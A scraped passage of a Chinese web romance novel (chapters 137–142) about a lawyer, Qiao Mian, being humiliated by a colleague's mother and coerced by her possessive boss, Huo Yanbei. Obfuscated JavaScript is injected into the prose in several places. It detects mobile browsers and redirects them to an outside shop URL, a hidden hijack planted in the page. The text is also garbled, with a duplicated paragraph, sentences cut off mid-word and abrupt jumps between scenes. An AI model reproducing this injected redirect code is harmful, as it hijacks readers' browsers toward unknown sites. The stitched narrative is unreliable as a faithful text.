女人拧着细眉,走到乔眠面前,目光里带着浓浓的愤怒和厌恶,从头到脚将她打量了一遍。 同时,乔眠也在审视着女人。 她穿着一件墨绿色丝绒长裙,外面套着一件扎眼的皮草。 妆容略浓,乍看之下,像一个豪门贵妇。 可就是打扮的过于珠光宝气,反而失了几分高雅之气。 加上进门,尖锐的吼了一嗓子,显得面相多了几分跋扈和刻薄。 乔眠觉得这个女人有点面熟。 而女人,在看清楚乔眠的长相时,愣了两秒,似乎也觉得对方面熟。 但很快又想起什么,皱着眉,问,“你……叫乔眠?” “是。” 乔眠回道。 女人又紧紧盯着她瞅了好一会儿。 就在乔眠想要开口询问找她什么事时,女人忽然扬手,朝她脸上打了一巴掌。 旋即,怨毒的骂声传来。 “原来你就是骗我儿子钱的小狐狸精啊!” 原本站在办公区,静静看热闹的同事们,直接被这女人突如其来**的举动吓到了。 乔眠亦是震惊的瞪大了眼睛。 浑身僵硬的站在原地。 但很快从女人骂她的那句话中,抓住两个重点词,‘儿子’,‘**’。 再仔细瞅清楚女人的长相时,乔眠恍然反应过来,喃喃出声:“您……是周津南的母亲?” 她声音很小,只有离她最近的女人听到了。 “倒是能耐,还知道我是谁?” 女人怒气冲冲的瞪着乔眠,“我儿子周津南就是听了你的挑唆,好端端的辞去了法务部总监一职,非得拿出全部积蓄创业!最近银行卡里又少了六十万块钱,他把钱转给了你,是不是?” 听完女人的话。 乔眠恍然。 怪不得这女人面熟。 原来,她就是周津南的母亲,李芝。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101756|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>小时候,她还在养父母家生活时,和周津南家,住在一个职工安置小区。 那时,李芝是厂长太太。 她见过几面。 只是,印象并不深。 后来,周津南一家从县城搬去了京市,她就再也没见过李芝。 这么多年过去了,李芝丰腴了不少,也老了。 所以,刚才一时间没认出她。 不过,庆幸的是,李芝以前对她记忆应该不深,若不然,也不会没有认出,她就是当年李芝痛骂过,要她远离她儿子的那个秦妩。 “你怎么**啊?” 这时,送文件回来的何眉目睹了刚才的一幕,跑过来,挡在乔眠身前,“你赶紧走,要不然,我叫保安了!” “叫保安?” 李芝指着自己的胸口,“去年我刚做的搭桥手术,谁敢碰我根手指头,我要是有个好歹,那可是要人命的事。” “你这个老妖……” 何眉气得刚要回骂,乔眠拉住她,然后,看向李芝,“周太太,如果您不想在周总监离职后,还要败坏他的名声的话,就不要在这里大呼小叫的。” “你……” “您找我,不就是要个说法吗?” 乔眠打断她,“我们去别的地方聊……” 话音刚落,一道熟悉的身影跑了过来,一把拽住李芝的胳膊,“妈!你怎么来这儿了?” 看到是周津南时,乔眠蹙了一下眉。 这下,真是越发热闹了。 周津南对视上乔眠的目光时,自然注意到她脸上清晰的指印,很快就猜到是李芝所为。 他满眼歉意的看着乔眠,“对不起……” “你跟她道什么歉?” 李芝反握住周津南的手,“津南,就是这个小狐狸精,蛊惑的你从霍氏离职,又掏钱给她的,是不是?我今天来,就是……” “妈!有什么事跟我回家再说!” 周津南低吼一声,打断了她那些过激的言辞,然后,拽住她的胳膊,朝门外走去。 就在等电梯时,乔眠跟上来,把一张银行卡递给李芝,“周太太,这是周总监之前借我的六十万块钱,给您造成不便,很抱歉。” 第138章 霍总,你想要逼死我吗? “秦……不是,乔律师,这钱是我心甘情愿借给你的。” 周津南情急之下,差点说出乔眠的本名,抬手将乔眠拿着银行卡的小手推了回去。 但是,下一秒,那张银行卡却被李芝一把接了过来,“儿子,钱是你辛辛苦苦挣来的,凭什么借给她?” 说到这里,李芝嫌恶的瞪着乔眠,“把钱还回来,算你识相,我告诉你,乔眠,我儿子就算找女朋友,也是要找一个门当户对的黄花大闺女,肯定不是你一个带着三个拖油瓶的单亲妈妈!” “妈!” 速来脾气温和的周津南,此刻发了火,冲着李芝低吼一声,“您在胡说八道什么?” 说罢,急忙转头看向乔眠,“对不起,我母亲她……” “周津南。” 乔眠淡声打断他后,看向对她抱有敌意的李芝,“伯母,您放心,我和您儿子只是普通朋友,我对他,没有任何非分之想。” 周津南听到乔眠跟他划清界限的话,挣脱李芝的手,走到乔眠面前,牵住她的手腕,满眼心疼又深情的看着她。 埋藏于心多年的爱意,在这一刻再也绷不住了。 他知道,这个时候对她表白情意不是良机,可事情已经糟糕成了这个样子,他还有什么可顾忌的? 而且,他就是要当着他母亲的面,表明自己的态度。 “乔眠,其实我从高中时就喜……” 话到一半,李芝忽然哎呦一声,抚着胸口,一副喘不过气来的样子。 “妈……你怎么了?” 周津南急忙搀扶住扶着墙壁的李芝,焦急的询问。 李芝愠怒的推开他的手,喘气不稳的瞪着儿子训斥:“津南,你父亲去世的早,咱周家走到现在不容易,你要是跟一个带孩子的女人牵扯不清,我还怎么在亲戚们之间抬起头啊?” “妈,我……” “如果你想气死我……咳咳咳!” 李芝情绪有些激动,脸色渐渐有些苍白了。 正好,电梯来了。 李芝捶着胸口,嘴里哎呦着进了电梯。 周津南担心母亲的身体,紧忙跟进了电梯。 电梯门即将合上一刻,才想起乔眠。 等他转头看去时,只看到一抹离去的纤薄身影。 乔眠神情恍惚的回到办公区。 一路上,承受着同事们各色各样的眼神。 以及一些窃窃私语。 “没想到乔律师平时看起来文文静静的,居然勾上了周总监?” “人家周总监的母亲都找上门了,还打了她一巴掌,说明她根本不是周总监的正牌女友。” “她就是仗着那张脸好看,会勾搭男人为她花钱罢了。” “我听说,她好像还勾引霍总呢。” “我去,真不要脸……” 一字一句的编排、谩骂,落入耳中。 乔眠脑子里乱糟糟的。 无力的没有一点情绪。 整个人都是麻木的。 直到陈珂突然出现,扫视了一圈乌烟瘴气的办公区,“但凡背后乱嚼舌根的人,罚扣一年的全勤福利!” 骤然间,所有人噤若寒蝉,立马回到工位上各自忙碌起来。 只有乔眠,一副好似什么都没有发生过的模样。 无视帮她说话的陈珂,神情有些恍惚的走出办公区,却被陈珂抬手拦住了。 “乔律师,霍总让您去一趟办公室。” 乔眠站在原地僵了几秒钟后,这才转身,进了总裁办公室。 陈珂有些歉意的看着她,叹了一口气,没有跟进去。 乔眠刚一走进去,坐在真皮座椅上的男人霍地起身,走到她面前。 抬手,攥起她的小脸,看清楚女人白皙细嫩的脸上尤为明显的红肿时,狠狠皱了皱眉。 他用指背轻轻碰了碰,声音很是温柔,“还疼吗?” 乔眠偏头躲了一下,抬眸,看他的瞬间,眼眶攸地红了,“霍总,这出热闹您也看够了,就不必虚情假意了吧?” 霍宴北修长的手指僵了一下,轻轻将她揽进怀里,轻抚着她的肩背,“乔眠,你在怪我吗?” 乔眠使出全力一把推开他,平静的目光中,透着一股幽怨和嘲讽,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101757|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍总,您敢说,今天,周津南的母亲找到我,和您没有半点关系?” 霍宴北薄唇紧抿,攥着她的手腕来到沙发前坐下,而后,走进休息室拿出来一个医药箱,从里面翻出一支药膏,挤出一滴药,就要往她脸上擦。 乔眠偏头,就要躲开时,小脸整儿个又被他捏了回去,“别乱动,我给你脸上涂点药膏。” 乔眠抬手,拍开他的手,而后,挥手掀翻了茶几上的医药箱。 医药箱应声落地。 里面的药盒以及瓶瓶罐罐散落一地。 乔眠深吸一口冷气,“霍总,装够了吗?” 霍宴北望了一眼一片狼藉的地上,也只是皱了皱眉。 而后,强行将手指上沾着的药膏,均匀的涂在了她脸颊的淤肿处。 “脾气真是越发大了。” 过程中,男人低声说了一句,“我对你没有恶意,真的。” 乔眠满目嘲讽的看着他。 自始至终,他都没有正面回答她的问题。 刚才一句抱歉,一句没有恶意,已经默认了,周津南的母亲来闹一事,跟他有关。 “霍总……” 乔眠起身,身体略有些打颤,声音里透着股压抑到极致的暗哑,“我已经答应您不离职了,您还以这种方式对付我,您到底想让我怎么做?一定要逼死我吗?”医药箱应声落地。 里面的药盒以及瓶瓶罐罐散落一地。 乔眠深吸一口冷气,“霍总,装够了吗?” 霍宴北望了一眼一片狼藉的地上,也只是皱了皱眉。 而后,强行将手指上沾着的药膏,均匀的涂在了她脸颊的淤肿处。 “脾气真是越发大了。” 过程中,男人低声说了一句,“我对你没有恶意,真的。” 乔眠满目嘲讽的看着他。 自始至终,他都没有正面回答她的问题。 刚才一句抱歉,一句没有恶意,已经默认了,周津南的母亲来闹一事,跟他有关。 “霍总……” 乔眠起身,身体略有些打颤,声音里透着股压抑到极致暗哑。 第139章 他的咄咄逼人 说到最后,她鼻音很重,声音已经哽咽了。 所有的委屈和怨愤也在顷刻间涌上心头。 一滴热泪从眼角滑落。 “不是……” 霍宴北神情有些惶然无措。 想要伸手擦掉她眼角的泪珠时,却被乔眠用力拍开,“霍宴北,您这个人真够恶劣的,如果我是你的妹妹阿妩的话,只后悔没有早点离开你这样的疯子!” 说完,转身欲走时,男人从身后一把抱住了她,“抱歉,我无意伤害你……” 乔眠用力掰开缠在腰上的那双手臂,“霍总,留在你身边的每一分每一秒都让我备受煎熬,如果你执意不批离职手续的话,那我只好走法律程序,我就不信了,这个工作还辞不掉了。” 听到她这么说,男人眼底的心疼瞬间荡然无存。 他果然猜的没错,她之前退而求其次,答应留在荣华,只是托辞。 目的还是找机会离职。 现在终于被她逼出真心话了。 霍宴北点了一支烟,慢条斯理的抽了一口,望着决然离开的女人背影,轻飘飘的撂了一句话,“离职不难,不过是我动动手指头的事情,可是,乔眠,你要离职,我偏不答应。” 乔眠身体抖颤,转过身瞪着他,“那就走法律程序吧。” 男人缓缓吐出一口烟圈,把她以前与荣华的劳务合同拿了出来,“你的合同还有半年到期,你顶多坚持半年,我没有任何意义不放你离开,可若你现在走法律程序的话,你违约在先,这合同里的条条框框都能卡死你,荣华现在是霍氏的产业,若真要打官司,我保证能耗上一年半载,你是律师,这点比我懂吧?你觉得,这两条路,哪个对你划算?” “半年后,你会放我离开?” 乔眠反问。 霍宴北:“会。” “我根本不信你。” “随你信与不信。” 男人无所谓的扯了扯嘴角,“但是,你还要认清楚一件事,那就是,你的决定,也决定了同尘律所的生死。” “你……混蛋!你今天也看到了,我和周津南已经彻底断干净了,你还要拿同尘威胁我?” 乔眠气得眼泪在眼眶打转。 霍宴北欺身过来,夹着香烟的手指,摩挲着女人涨红的小脸,“气什么?如果你不在乎同尘的死活,我根本就威胁不到你,不是吗?” 说到此处,他玩味的笑了一声,“哦对了,我给你讲一件事吧。” 乔眠皱眉,俨然没心思听,抬脚就要走时,男人清冷的嗓音自身后传来,“六年前,我去京大接我妹妹阿妩,看到周津南和她在食堂一起吃饭。” 乔眠身体一僵,转身看向他。 看到她感兴趣没走,霍宴北眼底划过一抹幽亮的光,走到她身边,拉着她在沙发上坐下来,继续道,“那次,我生气,一夜之间收购了周家的棉纺厂,从那之后,周津南这才没敢再出现在我妹妹阿妩身边。” 乔眠听到这里,震惊的浑身颤抖。 他做出这样狠厉又卑劣的事情,居然主动且毫无波澜的亲口讲了出来? 也正是他的自爆,她才明白,为何当年周津南去京大和她见了一面,两人明明约定年后一起沪城实习闯荡的,为何最后他突然断联了? 又为何,她给周津南家打电话时,他母亲李芝要她离她儿子远远的…… 原来,这一切都是因为霍宴北! 所以,早在六年前,他就已经断了她想要离开京市的后路。 想到这些,她怨恨又无可奈何的瞪着他。 霍宴北纯粹就是一个疯子! 她情绪波动很大,眼泪毫无知觉的一颗颗落下来。 却像烫在了男人心尖上。 丝丝缕缕的疼。 霍宴北观察着她所有的反应,以及脸上细枝末叶的表情,很明确的意识到,她对他讲的这件事抱有怨恨和恼意。 如果她不是阿妩,只是听他讲了一个和她无关的一件事,她何至于这么大反应? 霍宴北强自压下心头涌动的情绪,继续道,“乔眠,你说的对,我就是一个恶劣的人,六年前,周津南打我妹妹的主意,得罪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101758|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,我整倒周家给了他一次教训,而今天,他妄图把你从我身边带走,你说,我弄死同尘,不为过吧?” 他语气淡淡的,字字句句却如刀子一样锋锐,戳在她软处。 乔眠脸色一点点变得苍白,唇瓣都咬出血丝了,最后,再一次败下阵来,嗓音里带着一丝哽咽,“你赢了,霍宴北,从今天开始,我老老实实在荣华上班,不再提离职了,行吗?” 听到她保证的语气跟他妥协,霍宴北一股怒火蹿上心头。 “乔眠,你越是在乎同尘的死活,我越想碾死,甚至想周津南死!” “疯子!你真的是个疯子!” 乔眠情绪彻底绷不住了,流着眼泪冲他吼了一声,“我离职,你不高兴,还威胁我,我现在不离职了,你又不高兴,那你到底想让我怎么做?” “还不明白吗?” 男人低头,恨恨的在她唇上咬了一口,“我恼的是,非得拿同尘逼你,你才肯乖?乔眠,你就那么在乎周津南?” 说到此处,他目光锋锐的盯着她,“还敢说你和周津南之前没有私交?你们如果不是早就认识,你会为他做到这个份上?” “……” 乔眠哑然。 也知道,又着了他的道。 他绕来绕去,拿周津南威胁她的目的,不是她离不离职的问题。 而是,想通过她的周津南的反应和态度,判断两人之前是否是旧相识。 因为,曾经的霍妩和周津南就是高中同学。 这点,想必他已经知道了。 但凡他查到她高中时,在京市一中时清瘦模样的照片,和她现在同样清瘦的模样对比,大概率就能察觉到她就是曾经的霍妩。 因为,她现在的模样,和高中时,还是很像的。 只是,霍宴北从未见过瘦版的霍妩。 他认识她时,是她最胖的时候。 她必定身份曝光。 不,此刻,在他眼里,他几乎认定了她就是霍妩。 想到这些,她一时间无以辩驳,只能用沉默对抗他的咄咄逼问。 第140章 羞耻、愤恼快要把她生生撕碎了 乔眠听到‘霍沉’这个名字,本就慌乱的心,更慌了。 办公室的门把手转动,随着一声‘小叔’的唤声响起,乔眠心下一乱,躲了起来。 霍沉进来后,正好看到霍宴沉从休息室走出来。 手里还拿着一个女士包。 “小叔,你怎么拿着女人的包?” 霍沉意味深长的笑着问。 “多事。” 霍宴北目光冷淡的看了他一眼。 然后,扫了一圈办公室,没寻到那个女人的身影,以为她走了。 他把包丢在办公桌上,脸色微沉的走到办公桌后面。 刚坐下,却看到躲在办公桌下面的乔眠。 男人额头青筋一跳。 乔眠蹲在地上,仰着小脸,尴尬的冲他笑了一下。 要是被霍沉撞见她在霍宴北办公室,指不定招惹出什么闲话。 况且,她还得罪了霍沉。 让他逮住她的话,怕是又要不依不饶的讨伐她。 昨夜那六杯酒,就是教训。 “小叔,你看什么呢?” 霍沉走到办公桌前,拉开一张椅子坐下。 “你来做什么?” 霍宴北抬头,清冷的目光扫了他一眼。 霍沉的关注点依旧在小叔的私生活上。 他瞅了一眼那只女包,嬉皮笑脸的问,“这个包,是不是昨夜你抱着的那个女人的?” “嗯。” 他毫不避讳的承认。 霍沉呲牙一笑,好奇心爆棚:“能入得了小叔眼的女人,肯定很漂亮,她跟宋蔓小婶比,谁更漂亮?” 宋蔓小婶…… 他真的和宋蔓结婚了…… 乔眠仰头,看着霍宴北。 他没有否认。 感受到女人的盯视时,垂眸,看了她一眼。 不知是不是错觉,似乎看到她匆忙低头时,泛红的眼圈。 “小叔,我以为你这样冷的性子,是不会在外面养女人的,我很好奇,什么样的女人比宋蔓小婶还优秀,抓住了你的心。” 霍沉不知死活的喋喋不休。 霍宴北脸色变得很难看,“没事就滚。” “有事有事。” 霍沉做投降状,“小叔,我这不是要开酒吧一条街嘛,但是,你知道的,我爸妈不支持我,非逼着我到集团上班,还把我卡里的钱冻结了。” 男人手指轻叩桌案,“说重点。” “我需要一笔启动资金。” 说着,霍沉站起身,一脸认真道:“小叔,你就当投资副产入股,你是大股东,我捞个二股东就成,从管理到经营我全包,你看咋样?” 霍宴北扫了一眼桌下的女人后,淡声回道,“可以。” 霍沉怔了一下。 没想到小叔答应这么痛快。 来之前,他完全不抱希望的。 毕竟,他爸妈和小叔之间的关系并不好。 他很怕小叔殃及他这条小池鱼。 “小叔,就这么定了,可不许反悔。” 霍宴北抬了下下巴:“出去找陈珂,让他带你去财务处走流程。” “好嘞!” 霍沉走到门口,忽然转身朝小叔眨了眨眼睛,“小叔,你放心,你在外养女人的事情,我保证不会跟小婶告密的。” “对了,小婶和孩子快回国了,到时候我请……” 话还未说完,霍宴北薄唇溢出一个寒冷的字,“滚。” 霍沉吓得一个激灵,飞快闪人。 很快,偌大的办公室静谧下来。 霍宴北低头,看了乔眠一眼,想说她可以出来了时,却看到女人低着头揉眼睛。 不知为何,他的心蓦地一刺。 伸手攥住乔眠的手腕,将人从办公桌下面拉了出来。 动作有些粗暴,很用力,乔眠毫无防备的跌进了他怀里。 好巧不巧的,她的唇撞到了他的下颌。 突如其来的亲密举动,让两人同时怔住。 甚至能听清楚两具身体紧贴在一起,胸腔里的心跳声。 霍宴北感受着怀里女人娇软的身体,以及那股淡淡的幽香钻入鼻息时,腰腹瞬间紧绷起来。 落在女人纤细小腰的大掌,下意识收紧。 “你要趴在我怀里多久?” 男人微哑的嗓音落入耳边。 乔眠猛地抬头,对上一双深不见底的眸子。 她双手撑着他的胸膛,挣扎着要起身时,腰上那股力猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101759|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地压下。 使得她又跌回到她怀里。 她仰脸瞪着他。 男人粗粝的指腹,碾过女人被磕破的唇,“公司法务部门有个实习空缺,要不要来?” 乔眠愣了下,霍宴北已经捏起她的下巴:“月薪一万。” 且不提薪资,单说能够进入霍氏集团,是多少人求都求不来的。 他却给她开绿灯,让她去法务部? 乔眠望着他的眼神里多了一丝困惑。 霍宴北淡淡又说了一句:“酒吧环境复杂,不适合你。” 乔眠推开腰上的手,擦了擦唇上渗着的血丝,站起身后,神情冷淡的回复:【霍先生与我只是陌生人,实在无福消受您的好意。】 说到这里,她笑了一下:【我觉得在酒吧工作挺好的,我喜欢。】 男人蹙眉,“喜欢?昨夜你醉成那样,就是喜欢这份工作的后果。” 【霍先生,那是我的工作,与您无关。】 说罢,她拿起放在办公桌上的包,转身就走。 “你似乎很缺钱,不考虑一下?” 男人清冷的声音从身后传来。 乔眠顿住脚步,转身看向他,【霍先生对别的女人散播爱心,就不怕您的妻子不高兴?】 霍宴北起身,走到她面前,附身,望着她泛红的眼瞳,勾了勾唇角:“乔眠,你似乎很关心我的个人问题?” 乔眠咬了一下唇:【您误会了,我只是随口一问。】 男人望着她再次转身要走时,问出一直以来纠结于心的问题:“我们以前是不是在哪儿见过?” 他记忆力很好,但凡见过的人,都会有印象。 但是乔眠例外。 她给他的感觉特别熟悉。 但这张脸,却又很陌生。 乔眠转身,手语动作铿锵有力:【没有。】 末了,反问了一句:【我很好奇,我和霍先生并不熟,您为什么想给我提供工作?】 霍宴北看着她的眼睛,眼眸里涌动着一丝复杂的情绪,“因为觉得你很可怜。” “……” 乔眠的心脏犹如被重物击中一样疼。 他向来冷漠,不是一个会发散同情心的人。 第141章 鉴定结果出来了 乔眠苦涩一笑:【原来霍大总裁生了一副慈悲心肠,可这世上的穷苦之人千千万,霍先生每一个人都要帮吗?】 霍宴北皱眉。 她话中带刺。 甚至带着点嘲讽。 不知是不是他想多了,还感觉出一丝……怨恨。 这个女人的反应……很奇怪。 按正常人思维,得到别人的帮助,无论接不接受别人的善意,总该表现出最起码的礼貌的和感激。 她不是。 她拒绝他的善意也就罢了,还是一副好像他冒犯到她,很敌意的态度。 此时的她,没有之前几次见到他时的过度紧张,冷若冰霜的拒人千里之外。 霍宴北薄唇紧抿:“乔眠,不是每个人都有这个机会的,得珍惜。” 乔眠冷笑,【抱歉,霍先生的好意,我不接受。】 “别装。” “……” 乔眠皱眉,想骂人。 却见霍宴北折返到办公桌前,从抽屉里拿出一个盒子,转身走到她面前,将东西递给她。 乔眠垂眸一看。 是一个还未拆封的手机盒。 看型号,是刚上市,还未销售的知名品牌手机。 官网预售价一万六。 “来霍氏集团上班,得体面,你那部手机那么破,以后见客户会被人诟病。” 他一副断定她会答应来霍氏集团上班似的。 口吻更是以老板对员工的态度。 且强行将手机丢进了她手里。 “出去吧,陈珂会带你办理入职手续。” 说完,男人转身朝办公桌前走去。 乔眠颤抖的手指,死死抠着手机盒。 快要把盒子抠出一个洞了。 他果然还是没变啊。 行事作风依旧强势霸道。 他大概站在高处习惯了,以为,赏一颗糖,别人就得对他千恩万谢? 乔眠笑了。 手上一松。 手机盒啪一声,掉在了地上。 霍宴北听到动静,转身后,只看到一抹消失在门口的纤细身影。 当看到地上的手机盒时,脸色黑的能拧出墨汁来。 她不要手机,还把她的新手机,当垃圾一样丢在了地上? 霍宴北狠狠咬了咬后牙槽。 这时,陈珂走了进来,看到地上的手机盒,立马捡了起来,“霍总,我刚刚看到乔小姐好像哭着跑出去了……” 霍宴北冰冷阴沉的脸色微微一怔,“她……哭什么?” 陈珂抓了抓额头,“您是不是对乔小姐做什么了?” 霍宴北烦躁的厉害,语气很不好:“给她提供工作,给她新手机,她不接受也就罢了,还把手机给老子扔到了地上,我怎么知道她哭什么?” 陈珂也很纳闷,若不是她有几分似霍妩小姐,霍总怕是连多看她一眼都不会。 虽然,这个女人挺漂亮的。 “霍总,你帮她,她怎么还清高上了?” 陈珂忍不住嘟哝了一句。 男人将自己扔进真皮座椅里,点了一根烟,吞云吐雾,半响没有吭声。 陈珂走过去,将手机盒放在办公桌上,问了一句,“那法务部助理一职,还要给她保留吗?” 霍宴北皱着眉,抬手将手机盒挥到了地上。 “不必了!” 声音冷的骇人。 陈珂还没见过平日里冷漠寡情的二爷,会被一个女人气得脾气如此失控。 陈珂禁不住打了一个寒颤,“霍总,您别动怒,我让温秘书给您冲杯咖啡消消气。” 霍宴北吐出一口烟圈,沉默。 陈珂知道,这便是应允了。 他弯腰,再次将那只手机盒捡起来,放在办公桌上后,退出了办公室。 霍宴北盯着那只手机盒,心情愈加烦躁,直接扔进了抽屉。 却忽然想起乔眠手腕上戴着的那只电话手表。 她为什么会有儿童电话手表? 男人眼神微微眯起。 打开手机,点开那个叫芋粥无底美少女的微信,望着聊天记录里,最后三条错别字一堆的消息。 你几碎了? 劫婚了吗? 有钱吗? 盯着看了好一会儿,鬼使神差的回复: 29岁。 未婚。 很有钱。 …… 乔眠从总裁办公室出来后,没有立即下楼。 而是跑到了洗手间。 站在洗手台前,鞠起一捧冷水往脸上浇。 试图掩饰掉眼角不断往外涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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乔眠愣了一下,一时没懂她为何这么问。 “不是。” 说完,这才意识到,自己又能说话了。 温秋再次盯了一眼她的包后,笑着问,“那你是新来的?我刚才看到你从霍总办公室出来呢。” 乔眠这才听明白,温秋在打探她和霍宴北的关系。 也是,像他那样一个京圈太子爷,又是高高在上的千亿总裁,哪个女人不惦记? 第142章 她和孩子都要 “嗯,昨天鉴定科同事说,今天上午取报告,你来这么早,正好等会一起取。” 温白扬眼神闪烁了一下,勾住霍宴北的肩膀,“坐下等会儿吧。” 霍宴北嗯了一声,掏出一根烟本想点燃,想到这是温白扬的办公室,又将烟折断,丢进了一旁的垃圾桶里。 “急了?” 温白扬倒了一杯水递给他,“你这是担心孩子是你的呢?还是担心不是你的?” “闭嘴。” 男人冷了他一眼。 温白扬挑眉,“你家老爷子就盼着你跟宋蔓生一个霍家未来的继承人,现在你只有一个女儿,没准这还搞出了私生子,你得有个心理准备,万一孩子是你的话,你预备去母留子呢,还是……” “都要。” 霍宴北沉声打断他。 还有一句话,没有说。 那就是,如果乔眠是阿妩,即便孩子不是他的,他也要。 只要是阿妩的,他都要。 温白扬僵硬的扯了下唇角,没有说话。 等得有些焦躁的男人,垂眸,瞅了一眼腕表,“确定八点半以后就能准时拿到鉴定报告?” “嗯……” 温白扬沉吟两秒后,打了个响指,“稍等,我给同事打个电话,确认一下。” 简单通话后,温白扬挂断电话,“半个小时后,我陪你一起去鉴定科取报告。” “好……” 等到九点。 两人出了办公室,去往鉴定科。 只是刚走出去没多远,拿着检查报告,准备找温白扬的周津南,在看到霍宴北的身影时,脚步猛地顿了一下。 昨天,他母亲从霍氏回家后,又跟他闹了一场。 情绪波动很大。 昨晚,胸口一直发闷不适。 所以,将他母亲送到了医院。 温白扬就是他母亲的主治医生。 半年前,他母亲的心脏搭桥手术,就是温白杨做的。 今天早上,他刚拿到母亲的CT 检查片子,来找温白扬医生。 没想到,却看到了霍宴北…… 看两人一路上交谈不断,这才明白,原来,温白扬和霍宴北是旧相识…… “周先生,你是找温医生的吧?” 这时,温白扬的实习学生小李从走廊另一边走过来,看到周津南站在医生办公室门口,说道,“温医生等会就回来,你先进去等会吧。” 半年前,周津南的母亲因为心脏手术,在医院住了快一个月。 小李是认识周津南的。 “这一大早,温医生看起来挺忙的,是要赶去做手术吗?” 周津南状似不经意间问了一句。 小李回道,“温医生今天没有手术啊,他就是去一趟鉴定科,很快就回来了。” 刚才来的路上,正好遇到了温医生,打了一声招呼。 他注意到,温医生去的就是鉴定科的方向。 而听到‘鉴定科’三个字时,周津南脸色狠狠僵了一下。 温白扬去鉴定科,不奇怪。 可是,和霍宴北一起去鉴定科,就很难不让他多想。 毕竟,霍宴北这个人城府太深,也太有手段了。 现在又偏偏出现在医院,还跟医生一起去鉴定科…… 霍宴北究竟在鉴定什么? “我先不等了,晚点再来找温医生……” 周津南匆匆撂下这句话后,抬步离开了。 …… 九点。 医学鉴定科室中心办公室。 鉴定科工作人员亲自将一份密封好的鉴定报告,交给了温白扬。 温白扬没看,转身递给了霍宴北,“要不去我办公室?” “不了。” 男人垂眸,紧紧盯着攥在指间的文件袋,嗓音低哑,“我回公司了。” 语落,拍了下他的肩膀,“回头请你吃饭。” 说罢,转身离开了。 “我送你。” 温白扬顿了几秒,跟了上去。 两人前脚刚离开,周津南从走廊另一边走过来,敲门走进医学鉴定中心办公室后,礼貌又客气的对工作人员说:“您好,我是温医生的朋友,他介绍我来的……” 工作人员见周津南面相温润斯文,气质不俗,一看就是高职精英,又听说是温医生的朋友,态度很客气,“先生,您来,是要做哪方面的医学鉴定?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101761|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周津南故作有些难为情的摸了下鼻子,“那个,我想做亲子鉴定,所以,提前咨询一下……” 工作人员怔了一下,旋即,神情恢复正常,“哦,那需要先生提供相关证件,以及鉴定人和被鉴定人的DNA样本。” “哦。” 周津南一副了然的表情,然后,冷不丁问道,“那像刚才温医生取走的亲子鉴定报告,需要几天可以出结果?” “一般需要三到五天。” 工作一边整理着桌案上的文件,一边回道。 等抬起头时,周津南已经抬步离开了。 工作人员一脸纳闷,嘟哝了一句,“怎么温医生的朋友都来做亲子鉴定……” 周津南一边朝医院外走,一边快速掏出手机,拨通了乔眠的手机。 乔眠接到电话时,正在地铁上。 因为精神不振,脸色带着一丝病态的苍白。 看到周津南打来的电话时,她有点不想接。 昨天,他母亲李芝在霍氏闹的那么难看,现在周津南打电话找她,无非是作一些毫无意义的解释。 况且,乔眠觉得,两人现在的关系挺尴尬的。 应该保持距离。 所以,第一通电话,没有接。 周津南接连又打了两通电话,乔眠仍是没接。 直到看到周津南发来的一条微信。 乔眠脸色刷一下血色尽褪。 